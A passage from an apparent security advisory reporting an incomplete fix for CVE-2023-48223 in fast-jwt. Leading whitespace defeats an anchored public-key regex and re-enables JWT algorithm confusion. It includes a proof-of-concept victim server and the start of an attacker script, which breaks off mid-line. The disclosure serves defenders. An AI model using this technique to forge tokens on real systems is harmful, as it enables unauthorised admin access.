fast-jwt: Incomplete fix for CVE-2023-48223: JWT Algorithm Confusion via Whitespace-Prefixed RSA Public Key
Summary
The fix for GHSA-c2ff-88x2-x9pg (CVE-2023-48223) is incomplete. The publicKeyPemMatcher regex in fast-jwt/src/crypto.js uses a ^ anchor that is defeated by any leading whitespace in the key string, re-enabling the exact same JWT algorithm confusion attack that the CVE patched.
Details
The fix for CVE-2023-48223 (https://github.com/nearform/fast-jwt/commit/15a6e92, v3.3.2) changed the public key matcher from a
plain string used with .includes() to a regex used with .match():
```
// Before fix (vulnerable to original CVE)
const publicKeyPemMatcher = '-----BEGIN PUBLIC KEY-----'
// .includes() matched anywhere in the string — not vulnerable to whitespace
// After fix (current code, line 28)
const publicKeyPemMatcher = /^-----BEGIN(?: (RSA))? PUBLIC KEY-----/
// ^ anchor requires match at position 0 — defeated by leading whitespace
In performDetectPublicKeyAlgorithms()
(https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L126-L137):
function performDetectPublicKeyAlgorithms(key) {
const publicKeyPemMatch = key.match(publicKeyPemMatcher) // no .trim()!
if (key.match(privateKeyPemMatcher)) {
throw ...
} else if (publicKeyPemMatch && publicKeyPemMatch[1] === 'RSA') {
return rsaAlgorithms // ← correct path: restricts to RS/PS algorithms
} else if (!publicKeyPemMatch && !key.includes(publicKeyX509CertMatcher)) {
return hsAlgorithms // ← VULNERABLE: RSA key falls through here
}
```
When the key string has any leading whitespace (space, tab, \n, \r\n), the ^ anchor fails, publicKeyPemMatch is null, and the RSA
public key is classified as an HMAC secret (hsAlgorithms). The attacker can then sign an HS256 token using the public key as the
HMAC secret — the exact same attack as CVE-2023-48223.
Notably, the private key detection function does call .trim() before matching
https://github.com/nearform/fast-jwt/blob/0ff14a687b9af786bd3ffa870d6febe6e1f13aaa/src/crypto.js#L79:
const pemData = key.trim().match(privateKeyPemMatcher) // trims — not vulnerable
The public key path does not. This inconsistency is the root cause.
Leading whitespace in PEM key strings is common in real-world deployments:
- PostgreSQL/MySQL text columns often return strings with leading newlines
- YAML multiline strings (|, >) can introduce leading whitespace
- Environment variables with embedded newlines
- Copy-paste into configuration files
PoC
Victim server (server.js):
```
const http = require('node:http');
const { generateKeyPairSync } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const { createSigner, createVerifier } = require('fast-jwt');
const port = 3000;
// Generate RSA key pair
const { publicKey, privateKey } = generateKeyPairSync('rsa', { modulusLength: 2048 });
const publicKeyPem = publicKey.export({ type: 'pkcs1', format: 'pem' });
const privateKeyPem = privateKey.export({ type: 'pkcs8', format: 'pem' });
// Simulate real-world scenario: key retrieved from database with leading newline
const publicKeyFromDB = '\n' + publicKeyPem;
// Write public key to disk so attacker can recover it
fs.writeFileSync(path.join(__dirname, 'public_key.pem'), publicKeyFromDB);
const server = http.createServer((req, res) => {
const url = new URL(req.url, http://localhost:${port});
// Endpoint to generate a JWT token with admin: false
if (url.pathname === '/generateToken') {
const payload = { admin: false, name: url.searchParams.get('name') || 'anonymous' };
const signSync = createSigner({ algorithm: 'RS256', key: privateKeyPem });
const token = signSync(payload);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ token }));
return;
}
// Endpoint to check if you are the admin or not
if (url.pathname === '/checkAdmin') {
const token = url.searchParams.get('token');
try {
const verifySync = createVerifier({ key: publicKeyFromDB });
const payload = verifySync(token);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(payload));
} catch (err) {
res.writeHead(401, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ error: err.message }));
}
return;
}
res.writeHead(404);
res.end('Not found');
});
server.listen(port, () => console.log(Server running on http://localhost:${port}));
```
Attacker script (attacker.js):
```
const { createHmac } = require('node:crypto');
const fs = require('node:fs');
const path = require('node:path');
const serverUrl = 'http://localhost:3000';
async function main() {
// Step 1: Get a legitimate token
const res = await fet
